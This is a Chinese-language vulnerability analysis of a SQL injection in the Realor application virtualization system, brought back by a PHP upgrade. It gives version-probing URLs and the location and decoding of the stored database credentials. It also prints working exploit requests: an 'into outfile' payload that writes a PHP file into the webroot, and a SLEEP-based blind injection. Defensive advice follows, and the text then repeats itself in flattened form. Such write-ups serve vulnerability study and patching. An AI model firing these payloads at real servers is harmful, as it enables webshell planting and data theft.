瑞友天翼应用虚拟化系统--PHP版本升级后引发的漏洞
字数 975 2025-08-04 08:17:24

瑞友天翼应用虚拟化系统PHP版本升级引发的SQL注入漏洞分析

漏洞概述

瑞友天翼应用虚拟化系统在PHP版本升级过程中,由于废弃了magic_quotes_gpc功能,导致系统再次出现SQL注入漏洞。攻击者可利用此漏洞执行任意SQL语句,在具备DBA权限的情况下,还能写入webshell实现代码执行。

环境搭建与信息收集

版本确认

可通过以下URL获取系统版本信息:

http://[目标IP]/RAPAgent.XGI?CMD=GetRegInfo
http://[目标IP]/CASMain.XGI?cmd=About

数据库配置

默认数据库配置文件路径:

C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat

账号密码存储格式:将#替换为=后进行base64解码

漏洞成因分析

历史修复与失效

  • 早期版本(5.x <= 7.0.2)存在SQL注入漏洞
  • 修复方案:开启magic_quotes_gpc对输入进行转义
  • PHP版本升级后(>=5.4)废弃了magic_quotes_gpc功能
  • 新版本(如7.0.5.1)中防护失效,导致SQL注入漏洞重现

关键条件

  1. MySQL配置允许任意文件写入:

    show global variables like '%secure%';
    

    需确保secure_file_priv=''

  2. 项目绝对路径可通过报错信息获取,默认路径:

    C:/Program Files (x86)/RealFriend/Rap Server/WebRoot
    

漏洞利用

1. 文件写入漏洞利用

端点/hmrao.php?s=/Admin/appsave

利用方式

GET /hmrao.php?s=/Admin/appsave&appid=1%27);select%20%27<?php%20phpinfo();?>%27%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test.php%27%20--+ HTTP/1.1
Host: 192.168.222.145
[...其他HTTP头...]

说明

  • 通过appid参数注入SQL语句
  • 利用into outfile写入webshell
  • 写入路径需要转义空格等特殊字符

2. 时间盲注漏洞利用

端点/hmrao.php?s=/Admin/appdel

利用方式

GET /hmrao.php?s=/Admin/appdel&list=1%27)%20AND(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)AND(%271 HTTP/1.1
Host: 192.168.222.145
[...其他HTTP头...]

说明

  • 通过list参数注入时间盲注payload
  • 使用SLEEP(5)函数验证注入点
  • 可进一步利用获取数据库信息

漏洞影响版本

  • 受影响版本:5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2
  • 修复后再次出现版本:7.0.5.1等PHP升级后的版本

防御建议

  1. 使用参数化查询或预处理语句替代直接SQL拼接
  2. 对用户输入进行严格过滤和转义
  3. 限制MySQL的FILE权限和写入目录
  4. 升级到最新安全版本并关注官方补丁
  5. 实施最小权限原则,避免使用DBA权限运行应用

总结

该漏洞展示了依赖特定PHP功能(magic_quotes_gpc)进行安全防护的风险。随着PHP版本升级,原有防护机制失效,导致历史漏洞重现。开发人员应避免依赖环境特性进行安全防护,而应在代码层面实现安全机制。

瑞友天翼应用虚拟化系统PHP版本升级引发的SQL注入漏洞分析 漏洞概述 瑞友天翼应用虚拟化系统在PHP版本升级过程中,由于废弃了 magic_quotes_gpc 功能,导致系统再次出现SQL注入漏洞。攻击者可利用此漏洞执行任意SQL语句,在具备DBA权限的情况下,还能写入webshell实现代码执行。 环境搭建与信息收集 版本确认 可通过以下URL获取系统版本信息: 数据库配置 默认数据库配置文件路径: 账号密码存储格式:将 # 替换为 = 后进行base64解码 漏洞成因分析 历史修复与失效 早期版本(5.x <= 7.0.2)存在SQL注入漏洞 修复方案:开启 magic_quotes_gpc 对输入进行转义 PHP版本升级后(>=5.4)废弃了 magic_quotes_gpc 功能 新版本(如7.0.5.1)中防护失效,导致SQL注入漏洞重现 关键条件 MySQL配置允许任意文件写入: 需确保 secure_file_priv='' 项目绝对路径可通过报错信息获取,默认路径: 漏洞利用 1. 文件写入漏洞利用 端点 : /hmrao.php?s=/Admin/appsave 利用方式 : 说明 : 通过 appid 参数注入SQL语句 利用 into outfile 写入webshell 写入路径需要转义空格等特殊字符 2. 时间盲注漏洞利用 端点 : /hmrao.php?s=/Admin/appdel 利用方式 : 说明 : 通过 list 参数注入时间盲注payload 使用 SLEEP(5) 函数验证注入点 可进一步利用获取数据库信息 漏洞影响版本 受影响版本:5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2 修复后再次出现版本:7.0.5.1等PHP升级后的版本 防御建议 使用参数化查询或预处理语句替代直接SQL拼接 对用户输入进行严格过滤和转义 限制MySQL的 FILE 权限和写入目录 升级到最新安全版本并关注官方补丁 实施最小权限原则,避免使用DBA权限运行应用 总结 该漏洞展示了依赖特定PHP功能( magic_quotes_gpc )进行安全防护的风险。随着PHP版本升级,原有防护机制失效,导致历史漏洞重现。开发人员应避免依赖环境特性进行安全防护,而应在代码层面实现安全机制。